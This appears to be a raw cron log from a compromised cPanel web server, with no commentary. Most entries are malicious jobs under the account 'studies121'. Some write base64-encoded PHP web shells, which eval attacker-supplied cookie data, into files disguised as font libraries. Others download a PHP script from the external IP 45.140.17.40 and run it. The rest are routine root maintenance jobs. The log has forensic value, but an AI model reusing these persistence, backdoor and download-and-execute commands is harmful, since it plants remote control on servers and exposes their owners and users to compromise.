Sep 21 12:55:01 ip-184-168-122-23 CROND[6627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:56:01 ip-184-168-122-23 CROND[6756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:56:01 ip-184-168-122-23 CROND[6759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:56:01 ip-184-168-122-23 CROND[6758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:56:01 ip-184-168-122-23 CROND[6761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:56:01 ip-184-168-122-23 CROND[6760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:57:01 ip-184-168-122-23 CROND[6954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:57:01 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:57:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:57:01 ip-184-168-122-23 CROND[6958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:58:01 ip-184-168-122-23 CROND[7078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 12:58:01 ip-184-168-122-23 CROND[7079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:58:01 ip-184-168-122-23 CROND[7080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:58:01 ip-184-168-122-23 CROND[7081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:58:01 ip-184-168-122-23 CROND[7084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 12:59:01 ip-184-168-122-23 CROND[7201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 12:59:01 ip-184-168-122-23 CROND[7202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 12:59:01 ip-184-168-122-23 CROND[7203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 12:59:01 ip-184-168-122-23 CROND[7204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:00:01 ip-184-168-122-23 CROND[7331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7329]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:00:01 ip-184-168-122-23 CROND[7336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:01:01 ip-184-168-122-23 CROND[7471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:01:01 ip-184-168-122-23 CROND[7474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:01:01 ip-184-168-122-23 CROND[7475]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 13:01:01 ip-184-168-122-23 CROND[7476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:01:01 ip-184-168-122-23 CROND[7473]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 13:01:01 ip-184-168-122-23 CROND[7477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7473]: starting 0anacron
Sep 21 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7493]: finished 0anacron
Sep 21 13:02:01 ip-184-168-122-23 CROND[7689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:02:01 ip-184-168-122-23 CROND[7691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:02:01 ip-184-168-122-23 CROND[7694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:02:01 ip-184-168-122-23 CROND[7692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:02:01 ip-184-168-122-23 CROND[7693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:03:01 ip-184-168-122-23 CROND[7820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:03:01 ip-184-168-122-23 CROND[7822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:03:01 ip-184-168-122-23 CROND[7824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:03:01 ip-184-168-122-23 CROND[7823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:04:01 ip-184-168-122-23 CROND[7961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:04:01 ip-184-168-122-23 CROND[7962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:04:01 ip-184-168-122-23 CROND[7963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:04:01 ip-184-168-122-23 CROND[7964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:04:01 ip-184-168-122-23 CROND[7965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:05:01 ip-184-168-122-23 CROND[8102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:05:02 ip-184-168-122-23 CROND[8105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:05:02 ip-184-168-122-23 CROND[8106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 13:05:02 ip-184-168-122-23 CROND[8107]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 13:05:02 ip-184-168-122-23 CROND[8108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:05:02 ip-184-168-122-23 CROND[8112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:05:02 ip-184-168-122-23 CROND[8111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 13:06:01 ip-184-168-122-23 CROND[8246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:06:01 ip-184-168-122-23 CROND[8247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:06:01 ip-184-168-122-23 CROND[8248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:06:01 ip-184-168-122-23 CROND[8252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:06:01 ip-184-168-122-23 CROND[8253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:07:01 ip-184-168-122-23 CROND[8453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:07:01 ip-184-168-122-23 CROND[8454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
